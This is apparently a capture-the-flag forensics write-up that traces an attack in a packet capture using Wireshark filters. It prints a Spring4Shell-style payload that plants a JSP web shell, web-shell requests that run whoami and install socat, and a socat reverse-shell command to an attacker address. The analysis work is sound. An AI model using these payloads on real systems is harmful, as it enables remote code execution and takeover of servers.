Wrong Spooky Season

Looking for XSS:

http.content_type == "application/x-www-form-urlencoded"

Returned 3 packets: 335, 353, and 387.

Packet #353 is the most interesting, it has a data length of 775:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=e4d1c32a56ca15b3&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Ran lots of requests with Python:

http.user_agent == "python-requests/2.28.1"

The .jsp file is a reverse shell:
```
http.request.uri contains ".jsp"
```
Command execution in packet 416 via JSP:
```
http://192.168.1.166:8080/e4d1c32a56ca15b3.jsp?cmd=whoami
```
Returned that the user is root in packet 418.

Confirmed additionally in #426/428, which executed and got the response of id.

Installed socat on the machine in packet 436:

http://192.168.1.166:8080/e4d1c32a56ca15b3.jsp?cmd=apt%20-y%20install%20socat

Confirmed successful in packet 456.

Ran socat in packet 464:

http://192.168.1.166:8080/e4d1c32a56ca15b3.jsp?cmd=socat%20TCP:192.168.1.180:1337%20EXEC:bash

Following the TCP packets after 464, the commands were:
